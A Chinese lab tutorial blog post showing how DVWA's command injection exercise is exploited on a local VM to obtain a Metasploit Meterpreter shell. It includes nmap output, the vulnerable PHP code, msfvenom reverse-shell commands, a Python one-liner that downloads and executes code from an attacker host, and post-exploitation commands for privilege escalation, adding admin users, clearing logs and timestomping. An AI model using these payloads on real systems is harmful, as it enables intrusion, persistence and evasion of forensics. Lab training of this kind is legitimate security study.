命令执行漏洞渗透目标shell玩法

  • A+
所属分类:安全文章


命令执行漏洞渗透目标shell玩法

沙漏安全团队

欢迎真正热爱技术的你!

MSF攻击Windows实验:

方法一 :通过web站点,使用无文件的方式攻击利用执行 

方法二:通过web站点,上传webshell, 返回给msf 方法三:攻击其他端口服务,拿到meterpreter

信息收集-Nmap端口扫描

信息收集总在前

[email protected]:~# nmap -sV -T4 xxx.xxx.xxx.xxx
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-29 10:46 CST
Not shown: 992 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysq! MySQL (unauthorized)
3389/tcp open ssl/ms-wbt-server?
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:0C:29:0D:E5:D0 (VMware)
Service Info: Host: LISIANTHUS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

通过扫描,得知开启了80端口,HTTP超文本协议,那么可以用浏览器来访问该IP。访问到我是在本机部署的DVWA靶场。萌新做实验,将DVWA Security等级设置为low
键入用户名密码进入靶场后,进入Command Injection命令注入练习,ping设备,输入ping的设备(我ping的本机),等待片刻,出信息
命令执行漏洞渗透目标shell玩法

源码分析

在右下方有一个view source按钮,点击查看页面源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

其中$_REQUEST[ 'ip' ]中的变量IP是我们输入的IP地址
php_uname( 's' ), 'Windows NT' )后台判断操作系统是否为Windows NT(即Windows操作系统)
shell_exec( 'ping ' . $target )如果是,执行ping target,
如果时Linux or Unix,执行'ping -c 4 ' . $target,指定次数,因为Unix的ping如果不给出数值会一直ping下去。
此处查看源码发现没有对IP地址设置过滤或其他封装,此处可以搞一个命令拼接,命令执行漏洞来测试:
命令执行漏洞渗透目标shell玩法
成功查看到主机名,命令拼接执行成功。

有关系么?

那么如何利用命令执行漏洞获得目标机器的控制权限呢?

当攻击者拥有部分受害者主机的控制权,但还没有拿到一个完整的shell时, web_delivery就派上用场。
web_delivery的主要目的是快速和受害者主机建立一条session。当受害者主机存在比如命令注入、远、程命令执行等问题时,攻击者可以使用web_delivery生成的一 条命令建立连接。
另外web_delivery的payload不会在受害者主机磁盘上写文件,而是直接将攻击者服务器上的代码加载
到内存执行,有利于绕过检测。
web_delivery支持php/ python/powershell等多种脚本,使用不同的脚本的payload时需要通过set
target 0或1或2来设置是使用php还是python还是powershell等。

web_delivery

命令执行漏洞渗透目标shell玩法
获得msf5>shell之后 执行use exploit/multi/script/web_delivery使用web_delivery模块,查看配置项show options

命令执行漏洞渗透目标shell玩法

通过查看配置项可以看到此处默认的payload是利用Python反弹tcp-shell,可以修改payload,也可以修改target,本次实验使用默认的Python,执行show targets列出target支持对哪些目标的反弹shell:
命令执行漏洞渗透目标shell玩法
PSH即powershell,可以简单理解为它是一个经过.NET的一个拓展的、比cmd更强大的shell,PSH可以利用.NET的漏洞库进行很多操作

set:lhost&lport

设置lhost(攻击机的IP,也就是本机啦,但是这里不要写回环地址127.0.0.1,要写IPv4地址)
lport(攻击机用来监听的端口号)
对这两个参数的详细说明可以参考我的上一篇博客

命令执行漏洞渗透目标shell玩法

RUN!!!

run跑起来

命令执行漏洞渗透目标shell玩法
由于上面我们一直知道DVWA的Command Injection中可以命令拼接,也就是存在命令执行漏洞,run之后的target machine给到的一个Python开头这一串东西就是用于命令注入的payload。
这里要注意一下,既然我们使用的是Python的payload那一定要这个网站机器上有Python环境,如果没有也没关系,上面的show targets列出target中可以看到web_delivery支持好多种脚本语言。
不妨尝试一下PSH的payload,但如果是要攻击Win XP系统、2003系统,使用PSH是不行的,因为他们两个不具备power shell,这里要留意下下咯。
在自己练习中,可以去python官网下载python2级以上版本https://www.python.org/downloads/release/python-272/

msfvenom生成payload

msfvenom可以用来生成Linux的ELF文件、Windows的PE文件(.exe)、web可执行文件php和Python可执行文件.py。
linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=< Target IP Address> LPORT= -f elf > shell.elf
windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
php:
msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > shell.php
python:
msfvenom -p python/meterpreter/reverse_tcp LHOST= < Your IP Address> LPORT= -f raw > shell.py

后渗透阶段

1
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.2.113.13:8080/Ws25Ghl', context=ssl._create_unverified_context());exec(r.read());"

将其复制,将原先我们手动测试是执行的127.0.0.1&&whoami中的whoami替换为上面生成的payload。
命令执行漏洞渗透目标shell玩法
执行,等待片刻,攻击机端发现一个请求连接的机器,编号为1(session1)
命令执行漏洞渗透目标shell玩法

获取到 Meterpreter

可执行sysinfo查看靶机的设备信息。
命令执行漏洞渗透目标shell玩法
执行shell可获得靶机的shell权限;
查看IP ,确认是否为目标靶机的信息:

命令执行漏洞渗透目标shell玩法

最终执行getsystem通过各种攻击向量,将shell提升到系统用户权限。

后渗透阶段的常用命令总结

ls列出目标主机的文件和文件夹信息 

use priv加载特权提升扩展模块,来扩展meterpreter库 

ps显示所有运行进程以及关联的用户账户 

getsystem通过各种攻击向量来提升到系统用户权限 

shell以所有可用令牌来运行一个交互的shell

 screenshot对目标主机的屏幕进行截图 

upload file向目标主机上传文件 

download file从目标主机下载文件 

sniffer_interfaces列出目标主机所有开放的网络接口 

sniffer_dump interfaceID pcapname在目标主机上启动嗅探 

sniffer_start interfaceID packet_buffer在目标主机上针对特定范围的数据包缓冲区启动嗅探 

sniffer_stats interfaceID 获取正在实施嗅探网络接口的统计数据 

sniffer_stop interfaceID 停止嗅探 

add_user username password -h ip在远程目标主机上添加一个用户 

add_group_user “Domain Adimins”username -h ip将用户添加到目标主机的域管理员组中 

clearev清除目标主机上的日志记录 

timestomp修改文件属性,例如修改文件的创建时间(反取证调差) 

reboot重启目标主机



详细命令解释可参考:
meterpreter会话渗透利用常用的32个命令归纳小结
https://blog.csdn.net/qq_34450601/article/details/80207959(微信文章不可直戳外链,勤奋学习的同学们扫描下方二维码)  命令执行漏洞渗透目标shell玩法 


命令执行漏洞渗透目标shell玩法
命令执行漏洞渗透目标shell玩法

平顶山学院· 沙漏安全团队

       微信号|SLteam666

奋发努力|拼搏向上

   本期编辑|bosounho

本文始发于微信公众号(网络安全攻防训练营):命令执行漏洞渗透目标shell玩法

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: